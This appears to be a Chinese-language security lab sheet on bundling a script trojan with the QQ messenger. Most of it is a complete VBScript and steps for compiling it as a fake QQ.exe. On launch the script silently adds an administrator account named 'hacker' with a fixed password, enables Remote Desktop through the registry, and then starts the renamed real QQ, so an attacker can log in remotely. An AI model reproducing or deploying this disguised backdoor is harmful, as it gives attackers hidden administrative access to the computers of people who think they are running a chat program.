实验名称: 脚本***捆绑
.
| |
实验名称: 脚本***捆绑
| |
|
|
实验环境 | 对实验案例一中的***程序进行改进,将其和QQ程序绑定到一起,在QQ启动的时候能够自动运行该***。 |
需求描述 | 需求描述: Ø 改进实验案例一中的***程序。 Ø 对该***程序重新编译。 Ø 将其和QQ程序进行捆绑。 |
推荐步骤 | 1. 安装QQ2010。
2. 对实验案例一中的***程序进行改进,将其和QQ程序捆绑在一起。
dim wshell set wshell=createobject("wscript.shell") wshell.run "cmd /c net user hacker benet /add" ,vbhide wshell.run "cmd /c net localgroup administrators hacker /add" ,vbhide wshell.RegWrite "HKLM/SYSTEM/CurrentControlSet/Control/Terminal Server/fDenyTSConnections",0,"REG_DWORD" wshell.run "cmd /c rename C:/Progra~1/Tencent/QQ/Bin/QQ.exe QQ2.exe",vbhide wshell.run chr(34)&"C:/program Files/Tencent/QQ/Bin/QQ2.exe"&chr(34) set wshell=nothing wscript.quit
3. 安装VBScript编辑器,将改进的***程序编译为名为QQ.exe的文件。
4. 运行名为QQ.exe的文件。
5. 验证结果。通过“远程桌面连接”程序,可以使用***程序创建的用户名和密码连接到该计算机。
|
拓扑环境 |
|
|
|
|
|
.